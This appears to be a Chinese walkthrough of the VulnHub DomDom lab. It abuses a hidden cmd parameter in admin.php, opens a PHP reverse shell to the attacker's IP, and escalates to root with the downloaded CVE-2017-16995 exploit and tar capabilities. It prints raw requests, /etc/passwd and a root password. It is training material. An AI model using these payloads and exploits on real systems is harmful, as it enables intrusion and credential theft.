DomDom
DomDom
目录
下载地址：DomDom: 1 ~ VulnHub
1 信息收集
1.1 端口扫描
$ nmap -p - -T4 192.168.50.3 -oA domdom
Nmap scan report for test (192.168.50.3)
Host is up (0.00077s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
1.2 后台目录扫描
$ gobuster dir -u http://192.168.50.3 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.50.3
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2022/04/01 20:09:53 Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 694]
/admin.php (Status: 200) [Size: 329]
/server-status (Status: 403) [Size: 300]
===============================================================
2022/04/01 20:10:26 Finished
===============================================================
1.2.1 目录分析
在
http://192.168.50.3/index.php没有发现什么东东：只知道会弹回用户名在
http://192.168.50.3/admin.php也没有发现什么东东，就是有个好像可以命令执行的地方，但并没有看到有问题找度娘，发现可以将原来
http://192.168.50.3/admin.php的GET请求改为POST请求。当
http://192.168.50.3/admin.php请求体为在http://192.168.50.3/index.php提交的内容时，响应内容中多了cmd请求包
POST /admin.php HTTP/1.1
Host: 192.168.50.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 49 name=id&username=id&password=123456&access=access
响应包
HTTP/1.1 200 OK
Date: Fri, 01 Apr 2022 11:48:21 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 320
Connection: close
Content-Type: text/html; charset=UTF-8 <html>
<head>
<title>
DomDom
</title>
</head>
<body> <form method="POST">
<input type="text" name="cmd" id="cmd" size="200">
<br>
<br>
<input type="submit" value="Execute">
</form>
<pre>
</pre>
</body> <script>
document.getElementById("cmd").focus();
</script> </body>
</html>
2 GetShell
2.1 尝试命令执行
在
http://192.168.50.3/admin.php请求体中增加cmd参数：成功执行了命令请求包
POST /admin.php HTTP/1.1
Host: 192.168.50.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 56 name=id&username=id&password=123456&access=access&cmd=id
响应包
HTTP/1.1 200 OK
Date: Fri, 01 Apr 2022 11:58:19 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 383
Connection: close
Content-Type: text/html; charset=UTF-8 <html>
<head>
<title>
DomDom
</title>
</head>
<body> <form method="POST">
<input type="text" name="cmd" id="cmd" size="200">
<br>
<br>
<input type="submit" value="Execute">
</form>
<pre>
uid=33(www-data) gid=33(www-data) groups=33(www-data),27(sudo)
</pre>
</body> <script>
document.getElementById("cmd").focus();
</script> </body>
</html>
2.2 nc反弹shell失败
POST /admin.php HTTP/1.1
Host: 192.168.50.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
Origin: http://192.168.50.3
Connection: close
Referer: http://192.168.50.3/admin.php
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
name=id&username=id&password=123456&access=access&cmd=nc+192.168.50.2+2333
2.3 PHP反弹Shell
POST /admin.php HTTP/1.1
Host: 192.168.50.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
Origin: http://192.168.50.3
Connection: close
Referer: http://192.168.50.3/admin.php
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
name=id&username=id&password=123456&access=access&cmd=php+-r+'$sock%3dfsockopen("192.168.50.2",2333)%3bexec("/bin/bash+-i+<%263+>%263+2>%263")%3b'
2.4 GetShell
$ nc -nvlp 2333
listening on [any] 2333 ...
connect to [192.168.50.2] from (UNKNOWN) [192.168.50.3] 59400
bash: cannot set terminal process group (1716): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
www-data@ubuntu:/var/www/html$
2.5 切换python Shell
python3 -c "import pty;pty.spawn('/bin/bash')"
3 提权
3.1 收集当前系统信息
查看当前用户sudo权限：没有密码
www-data@ubuntu:/var/www/html$ sudo -l
[sudo] password for www-data:
查看当前WEB应用程序目录下的文件
www-data@ubuntu:/var/www/html$ ls
admin.php index.php查看
/etc/passwd文件www-data@ubuntu:/var/www/html$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:116::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
domom:x:1000:1000:DomDom,,,:/home/domom:/bin/bash
查看是否存在提权漏洞：
www-data@ubuntu:/var/www/html/linux-exploit-suggester-1.1$ ./linux-exploit-suggester.sh
[+] [CVE-2016-5195] dirtycow 2 Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},[ ubuntu=16.04{kernel:4.4.0-21-generic} ]
Download URL: https://www.exploit-db.com/download/40839
ext-url: https://www.exploit-db.com/download/40847.cpp
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh [+] [CVE-2017-16995] eBPF_verifier Details: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
Exposure: highly probable
Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic},[ ubuntu=(16.04|17.04) ]{kernel:4.(8|10).0-(19|28|45)-generic}
Download URL: https://www.exploit-db.com/download/45010
Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1 [+] [CVE-2016-8655] chocobo_root Details: http://www.openwall.com/lists/oss-security/2016/12/06/1
Exposure: highly probable
Tags: [ ubuntu=(14.04|16.04){kernel:4.4.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic} ]
Download URL: https://www.exploit-db.com/download/40871
Comments: CAP_NET_RAW capability is needed OR CONFIG_USER_NS=y needs to be enabled [+] [CVE-2016-5195] dirtycow Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
Download URL: https://www.exploit-db.com/download/40611
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
利用CVE-2017-16995成功提权：
# kali中编译提权脚本
wget https://www.exploit-db.com/download/45010
mv 45010 cve-2017-16995.c
gcc cve-2017-16995.c -o cve-2017-16995 # 将编译后的脚本cve-2017-16995上传到目标系统中
www-data@ubuntu:/var/www/html/linux-exploit-suggester-1.1$ scp kali@192.168.50.2:/home/kali/cve-2017-16995 .
3.3 提权
3.3.1 利用CVE-2017-16995提权
执行提权脚本成功提权
www-data@ubuntu:/var/www/html/linux-exploit-suggester-1.1$ ./cve-2017-16995
./cve-2017-16995
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff880231b29600
[*] Leaking sock struct from ffff880232f63c00
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff880231682540
[*] UID from cred structure: 33, matches the current: 33
[*] hammering cred structure at ffff880231682540
[*] credentials patched, launching shell...
# id
id
uid=0(root) gid=0(root) groups=0(root),27(sudo),33(www-data)
# python3 -c "import pty;pty.spawn('/bin/bash')"
root@ubuntu:/var/www/html/linux-exploit-suggester-1.1# cd ~
root@ubuntu:/root# ls
Ry{}LJRBS5nc+*V.#a
3.3.2 利用可执行文件的capabilities实现权限
查看当前系统的cap权限设置
www-data@ubuntu:/tmp$ getcap -r / 2>/dev/null
/usr/bin/mtr = cap_net_raw+ep
/usr/bin/arping = cap_net_raw+ep
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/bin/tar = cap_dac_read_search+ep
打包root家目录得到root的flag
www-data@ubuntu:/tmp$ tar -cvf root.tar /root
tar: Removing leading `/' from member names
/root/
/root/.viminfo
/root/.nano/
/root/.bash_history
/root/.cache/
/root/.profile
/root/.bashrc
/root/Ry{}LJRBS5nc+*V.#a
打包domom家目录得到root密码
www-data@ubuntu:/tmp$ tar -cvf domom.tar /home/domom/
www-data@ubuntu:/tmp/home/domom/Desktop$ cat README.md
Hi Dom, This is the root password: Mj7AGmPR-m&Vf>Ry{}LJRBS5nc+*V.#a
成功登录到root
www-data@ubuntu:/tmp/home/domom/Desktop$ su - root
su - root
Password: Mj7AGmPR-m&Vf>Ry{}LJRBS5nc+*V.#a root@ubuntu:~# ls
Ry{}LJRBS5nc+*V.#a
DomDom的更多相关文章
- DomDom: 1 Vulnhub Walkthrough
主机层面扫描: ╰─ nmap -p1-65535 -A -sV 10.10.202.140 You name 存在XSS 漏洞 右键源码有隐藏form表单 修改其type属性为:text 尝试了SQ ...
- JS高程3：DOM-DOM操作技术
动态脚本 加载外部脚本 方式一,直接写代码: var script = document.createElement("script"); script.type = " ...
- React入门---属性(state)-7
state------>虚拟dom------>dom 这个过程是自动的,不需要触发其他事件来调用它. state中文理解:页面状态的的一个值,可以存储很多东西. 学习state的使用: ...
- 10、QT分析之WebKit
该文章整理自 网易博客 http://blog.163.com/net_worm/blog/static/12770241920101831312381/ 转载请注明出处 WebKit是QT4新整合的 ...
- QT分析之WebKit
该文章整理自 网易博客 http://blog.163.com/net_worm/blog/static/12770241920101831312381/ 转载请注明出处 WebKit是QT4新整合的 ...
- webview综述
nWebView 是webkit最核心的一个view,WebView管理WebFrameView和WebFrame之间的交互,一个WebView对象绑定一个window,并且要求MainFrame加载 ...
- vue问题整理
生命周期面试题 1.什么是 vue 生命周期 vue 实例从创建到销毁的过程就是生命周期. 也就是从开始创建.初始化数据.编译模板.挂在 dom -> 渲染.更新 -> 渲染.卸载等一系列 ...
- jQuery学习笔记（1） 初识jQuery
目录 目录 引用 注意 HelloWorldHelloWorld! jQueryjQuery对象和DOMDOM对象的相互转换 冲突的解决 引用 本地文件引用: <script src=" ...
随机推荐
- Blazor和Vue对比学习（进阶.路由导航一）：基本使用
Blazor和Vue都是单文件组件SPA,路由的实现逻辑非常相似,页面路径的改变都是组件的切换,但因为各自语言的特性,在实现方式上有较大差异. 一.安装 1.Vue:Router是Vue的一个插件.如 ...
- Java常用开发文档及工具
一.实用工具/网站 1.PHP中文网:https://www.php.cn/ 2.Json工具:http://www.bejson.com/ 3.IT大哥导航:https://itdage.com/ ...
- 【消息队列面试】15-17：高性能和高吞吐、pull和push、各种MQ的区别
十五.kafka高性能.高吞吐的原因 1.应用 日志收集(高频率.数据量大) 2.如何保证 (1)磁盘的顺序读写-pagecache关联 rabbitmq基于内存读写,而kafka基于磁盘读写,但却拥 ...
- 教你几个 Java 编程中的奇技淫巧
枯燥的编程中总得有些乐趣,今天我们不谈论那些高深的技能,教你几个在编程中的奇技淫巧,说不定在某些时候还能炫耀一番呢. 1.找到最大值和最小值 不使用 if else switch 和三元运算符,在给定 ...
- 【ASP.NET Core】MVC控制器的各种自定义：IActionHttpMethodProvider 接口
IActionHttpMethodProvider 接口的结构很简单,实现该接口只要实现一个属性即可--HttpMethods.该属性是一个字符串序列. 这啥意思呢?这个字符串序列代表的就是受支持的 ...
- WCH以太网相关芯片资料总结
网络产品线产品分类 1.接口控制类.CH395Q http://www.wch.cn/search?t=all&q=395CH395LCH392F h ...
- [数据分析与可视化] 数据绘图要点2-Y轴的开始与结束
数据绘图要点2-Y轴的开始与结束 切割或不切割Y轴可能是数据可视化中最具争议的话题之一.基本上,主要问题在于 Y 轴是否应始终从零开始.数据可视化的目的是讲述一个故事,图形表达方式会对可视化讲述的故事 ...
- Java基于内存的消息队列实现
Java基于内存的消息队列实现 有需要源码的同学可以去Gitee上下载: https://gitee.com/hyxl-520/memory_message_queue 先看测试情况 需求背景 需求来 ...
- day06-Vue03
Vue03 10.组件化编程 10.1基本说明 官网链接:https://v2.cn.vuejs.org/v2/guide/components-registration.html 在大型应用开发时, ...
- S2-016 CVE-2013-2251
漏洞名称 S2-016(CVE-2013-2251) 通过操作前缀为"action:"/"redirect:"/"redirectAction:&qu ...